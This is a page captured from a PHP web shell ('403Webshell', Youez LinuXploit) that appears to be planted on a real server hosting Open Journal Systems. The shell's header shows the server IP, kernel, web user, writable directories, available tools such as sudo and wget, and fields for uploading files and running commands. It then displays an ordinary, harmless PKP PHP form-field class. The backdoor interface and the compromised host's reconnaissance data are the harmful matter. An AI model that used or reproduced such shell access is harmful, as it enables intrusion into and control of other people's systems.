403Webshell
Server IP : 195.134.90.114  /  Your IP : 216.73.216.86
Web Server : Apache/2.4.58
System : Linux nepub 6.8.0-88-generic #89-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 01:02:46 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : OFF
Directory :  /var/www/html/public_html/lib/pkp/classes/components/forms/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /var/www/html/public_html/lib/pkp/classes/components/forms/FieldMetadataSetting.inc.php
<?php
/**
 * @file classes/components/form/FieldMetadataSetting.inc.php
 *
 * Copyright (c) 2014-2021 Simon Fraser University
 * Copyright (c) 2000-2021 John Willinsky
 * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING.
 *
 * @class FieldMetadataSetting
 * @ingroup classes_controllers_form
 *
 * @brief A field to enable a type of metadata and determine when it should be
 *  requested or required.
 */
namespace PKP\components\forms;
class FieldMetadataSetting extends FieldOptions {
	/** @copydoc Field::$component */
	public $component = 'field-metadata-setting';

	/** @var integer What is the value that represents metadata that is disabled */
	public $disabledValue = METADATA_DISABLE;

	/**
	 * @var integer What is the value that represents metadata that is enabled,
	 *	but which is not requested or required during submission?
	 */
	public $enabledOnlyValue = METADATA_ENABLE;

	/** @var array The options for what to request/require from the author during submission */
	public $submissionOptions = [];

	/**
	 * @copydoc Field::getConfig()
	 */
	public function getConfig() {
		$config = parent::getConfig();
		$config['disabledValue'] = $this->disabledValue;
		$config['enabledOnlyValue'] = $this->enabledOnlyValue;
		$config['submissionOptions'] = $this->submissionOptions;

		return $config;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit